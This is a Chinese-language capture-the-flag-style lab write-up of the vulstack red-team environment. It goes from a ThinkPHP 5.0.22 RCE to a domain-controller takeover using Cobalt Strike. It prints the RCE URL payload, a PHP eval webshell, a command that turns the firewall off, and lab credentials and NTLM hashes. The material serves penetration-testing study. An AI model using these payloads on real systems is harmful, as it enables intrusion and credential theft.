[ 内网渗透 ] vulstack红队评估(五)

  • A+
所属分类:安全文章

一、环境搭建:

①根据作者公开的靶机信息整理

虚拟机密码:

Win7:


heart 123.com    #本地管理员用户sunAdministrator dc123.com    #域管用户,改为了panda123..


 

Win2008:

sunadmin 2020.com    #由于需要改密码,我更改为panda666...


 

②虚拟机网卡设置

Win7双网卡模拟内外网:

外网:桥接模式与物理机相通

内网:根据公开截图是:192.168.138.136,仅主机模式

[ 内网渗透 ] vulstack红队评估(五)

 

 利用管理员账号登进win7,并将其中一个网卡ip设置为桥接模式的网段ip:192.168.1.136

 

Win2008只通内网不通外网:

内网:根据公开截图是:192.168.138.138,仅主机模式

[ 内网渗透 ] vulstack红队评估(五)

 

 

③整体环境梳理

靶机:

Win7:192.168.1.136(外网),192.168.138.136(内网)

Win2008:192.168.138.138(内网)

 

攻击机:

kali:192.168.1.2

win10:192.168.1.7

 

利用本地管理员heart登陆win7,并开启phpstudy,启动web环境:

[ 内网渗透 ] vulstack红队评估(五)

 


二、web层渗透:

0x01 前期信息收集与漏洞利用:

①端口、服务探测:

nmap 192.168.1.136 -T4 -A -sV

[ 内网渗透 ] vulstack红队评估(五)

 


②初探web

发现开启了80和3306,访问80端口的http服务,发现是thinkphp

[ 内网渗透 ] vulstack红队评估(五)

 

 

 

③thinkphp rce一把梭

随便输入路径,让其报错,发现是5.0.22版本

[ 内网渗透 ] vulstack红队评估(五)

 

直接去搜索历史漏洞,看下有没有可以直接getshell的,不难找到exp,而且直接RCE了

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
[ 内网渗透 ] vulstack红队评估(五)

④getshell

然后直接利用echo写入一句话方便后续操作,由于是靶机环境,不考虑免杀,实战中可能需要免杀一句话

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php eval($_POST[cmd]);?^> > shell.php
[ 内网渗透 ] vulstack红队评估(五)

直接利用蚁剑连接webshell

[ 内网渗透 ] vulstack红队评估(五)

 


0x02 目标本机信息收集

①发现目标有两个ip,并且存在域sun.com,DNS服务器为192.168.138.138,基本上DNS服务器就是域控

[ 内网渗透 ] vulstack红队评估(五)

 

查看进程信息,并没有发现杀软

[ 内网渗透 ] vulstack红队评估(五)

那么目标肯定是横向移动,最终拿下这台域控了,这里为了熟悉Cobaltstrike,所有的内网渗透操作将利用cs完成,并且不存在杀软,就不用考虑免杀了,毕竟是靶机嘛emmm...

 

 


三、内网横向渗透

0x01 让目标主机上线

①使用web_delivery的方式,生成powershell命令

[ 内网渗透 ] vulstack红队评估(五)


虚拟终端执行payload

[ 内网渗透 ] vulstack红队评估(五)

 

稍等一会就看见cs上线了

[ 内网渗透 ] vulstack红队评估(五)


0x02 提权

①设置心跳时间为1s,查看当前权限为管理员权限,为了后续更好操作,提权至system

[ 内网渗透 ] vulstack红队评估(五)


②查看补丁情况,并分析可利用漏洞提权exp

shell systeminfo

[ 内网渗透 ] vulstack红队评估(五)


windows提权辅助脚本提示存在MS15-051

[ 内网渗透 ] vulstack红队评估(五)


③利用CS一键提权

[ 内网渗透 ] vulstack红队评估(五)


提权成功返回一个system权限的beacon

[ 内网渗透 ] vulstack红队评估(五)

 


0x03 内网横向移动

①查看防火墙情况,发现是开启状态

shell netsh firewall show state

[ 内网渗透 ] vulstack红队评估(五)

 

为了方便操作,将防火墙关闭

shell netsh advfirewall set allprofiles state off

[ 内网渗透 ] vulstack红队评估(五)


②内网常规信息收集

当前域内计算机列表:

[ 内网渗透 ] vulstack红队评估(五)

 

域控列表:

[ 内网渗透 ] vulstack红队评估(五)


用户列表:

[ 内网渗透 ] vulstack红队评估(五)

 

③抓取凭证hash

[ 内网渗透 ] vulstack红队评估(五)


[ 内网渗透 ] vulstack红队评估(五)


抓取到的全部明文密码、ntlm hash

[ 内网渗透 ] vulstack红队评估(五)

 

 

④上线域用户leo

Spawn As派生会话

[ 内网渗透 ] vulstack红队评估(五)

 


选择leo的凭证

[ 内网渗透 ] vulstack红队评估(五)

 

成功拿到leo的beacon

[ 内网渗透 ] vulstack红队评估(五)

 


⑤继续收集域内信息

net user \192.168.138.138

[ 内网渗透 ] vulstack红队评估(五)

 

 又发现多了一个admin用户

 

⑥信息汇总整理:

域名:sun.com域控:192.168.138.138,机器名:DC域内机器:192.168.138.136(win7)、192.168.138.138(DC)所有用户:非域:heart:123.comntlmafffeba176210fad4628f0524bfe1942域内用户:sunadministrator(域管):panda123..;ntml:31d6cfe0d16ae931b73c59d7e0c089c0sunleo:123.comntmlafffeba176210fad4628f0524bfe1942sunadmin(未知)krbtgt(未知)


 

0x04 攻击域控

①网络环境分析

边界机win7可通外网、内网,域控只能与win7通信,不能出网,所以想要拿到DC权限,可以通过:

1.psexec配合SMB beacon上线DC机器

2.link Listener+IPC$连接上马

 

②横向psexec拿下DC beacon

[ 内网渗透 ] vulstack红队评估(五)


选择域管凭证,并选择smb beacon的监听器,选择一个会话进行横向移动,点击choose

[ 内网渗透 ] vulstack红队评估(五)

 


成功利用域管账号拿下DC的smb beacon

[ 内网渗透 ] vulstack红队评估(五)


③导出域内所有hash

[ 内网渗透 ] vulstack红队评估(五)


 

四、总结

0x01 总体内网拓扑

[ 内网渗透 ] vulstack红队评估(五)


0x02 整体思路

1.端口探测发现80端口web服务,利用thinkphp 5.0.22 rce漏洞getshell

2.简单主机信息收集发现双网卡,判断存在内网环境,并且有域

3.配合windows检测脚本,判断出可利用exp,并利用cs进行提权

4.内网、域常规信息收集,并关闭了防火墙方便后续操作

5.通过凭证hash获取到域用户、域管、其他用户的密码、hash

6.利用抓取到的域管凭证+psexec进行横向到域控

7.经过分析当前网络情况发现域控并不能出网,所以通过SMB beacon+psexec进行横向,最终拿下域控



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!


本文始发于微信公众号(哈拉少安全小队):[ 内网渗透 ] vulstack红队评估(五)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: